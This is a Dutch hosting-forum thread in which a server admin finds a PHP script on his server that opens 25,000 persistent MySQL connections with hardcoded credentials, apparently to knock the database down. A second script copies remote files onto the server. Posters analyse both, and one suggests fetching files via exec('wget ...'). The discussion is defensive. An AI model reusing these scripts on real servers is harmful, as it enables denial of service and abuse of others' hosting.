serverneuken.php ?!?!

[Cougar]

Ik heb zojuist een bestand op de server gevonden met deze naam. Nu ben ikzelf niet goed (lees : niet) in PHP, dus kan iemand mij vertellen wat dit script precies doet?

<?
if($_GET['hoi'] == "blub") {
$x=0;
while($x<=25000){
$x++;
mysql_pconnect("localhost", "digi_forum", "digibeest") or die(mysql_error());
echo "MySQL Connectie " . $x . " succes vol gemaakt!<br />";
}
}
?>

[Web123.nl]

Het script maakt 25000 connecties met de MySQL database. En met mysql_pconnect probeert ie deze open te houden (ipv mysql_connect).

'tis wel een vreemd script zeg maar

[Cougar]

Dus dit script is echt bedoeld om mijn server plat te halen?

[wdv]

Zeg maar wel ja

[Dominic]

Origineel geplaatst door Cougar
Dus dit script is echt bedoeld om mijn server plat te halen?

Ja, dat kun je wel zeggen ja.

[Web123.nl]

Ja, het doet een poging. Ik weet niet of het gaat werken, immers zal er na x-aantal connecties wel een mysql error verschijnen, waardoor het script stop (or die(mysql_error)).

[Cougar]

GRRRRRRRRRRRRRRRRRRRRRRRRRRRR....

Ik ken iemand die op dit moment van de server afgekickt wordt :@ :@ :@

[Dominic]

Origineel geplaatst door Cougar
GRRRRRRRRRRRRRRRRRRRRRRRRRRRR....

Ik ken iemand die op dit moment van de server afgekickt wordt :@ :@ :@

Laat me raden, degene die dit script had geplaatst

Heeft ie trouwens al gebruik gemaakt van het script, of stond het er alleen maar op?

[Cougar]

De MySQL is wel een keer down geweest, maar dat is veel eerder gebeurd. Wat ik ook niet snap is dat ik net het domein heb proberen te pingen maar dat deze niet bestaat. Hij lijkt het alleen als opslagplaats te gebruiken, hoewel er een forum op staat, en alles klaar lijkt om in de lucht te gaan.

Oftewel : een heel raar verhaal...

Ik ga hem in ieder geval suspenden en hij mag eerst even contact op gaan nemen... Dit kan natuurlijk niet, zelfs niet als het puur als opslag is om een andere server "te neuken".

Tis overigens een hele vreemd gozer als ik zijn file lijst nu eens doorkijk. De file "getit.php"

<?
$remote = "*knip*";
$local = " *KNIP* ";

$remote_file = fopen($remote, "r");
$local_file = fopen($local, "w");

while ($block = fread($remote_file, 1000)) {
    fwrite($local_file, $block, strlen($block));
}

fclose($remote_file);
fclose($local_file);
?>

Hij leecht dus warez naar mijn server die hij dan weer download ofzo. Dit soort grappen ben ik niet van gediend. Haal je warez maar ergens anders vandaan, niet van mijn server.

Mod edit: Let er aub even op dat er geen illegale linkjes in je post staan

[wdv]

Je kan zeggen wat je wilt, maar creatief is hij wel

Trouwens, het is een fout van jou als dat "leech" script zou werken.

[Dominic]

Tsja, ik moet hem wel nageven dat ie best wel slim is eigenlijk.
Ik zou zoiets nog niet eens in mn hoofd halen.

Maarja, denk niet dat ik van dit soort "grappen" gecharmeerd zou zijn als iemand het op onze servers zou plaatsen.

[almar]

Origineel geplaatst door Cougar
Dit kan natuurlijk niet, zelfs niet als het puur als opslag is om een andere server "te neuken".

Mmm, volgens mij wordt het na 25000 keer best wel .. nou ja laat maar

[Tnuz]

Zou 'safe_mode' de schade van bovenstaande scriptjes kunnen voorkomen?

[jonathan]

Volgens mij gaat dat bovenste script niet werken omdat die per connectie een regel naar de browser stuut. In dit geval zal dus de downloadsnelheid de beperking zijn en niet de server hardware.

[Icheb]

Origineel geplaatst door jdikken
Volgens mij gaat dat bovenste script niet werken omdat die per connectie een regel naar de browser stuut. In dit geval zal dus de downloadsnelheid de beperking zijn en niet de server hardware.

Donno, het ligt een beetje aan de variable $local, maar het kan ook zijn dat hij het lokaal opslaat en daarna download...
Het is wel een doordachte manier om snel illegale spullen te kunnen downloaden...

Of dit op safe mode werkt is inderdaad wel een goede vraag, ik dacht dat safe mode de fread en fwrite voor niet lokale dingen blokkeert, maar ik weet het niet zeker. Het is als server admin best wel mogelijk in php.ini die 2 functies alleen toe te staan voor lokaal gebruik, maar ik weet even uit me hoofd niet bepaald hoe dit ook alweer moet.

edit :
Kapt php het niet af na het verlopen van de max execution time ?
Dan kan je toch nooit meer als een bepaald aantal mb binnenhalen
Dan lijkt exec('wget -q <blaat> -o <blaat>'); mij beter (ik weet even niet of het nou -o of -O was)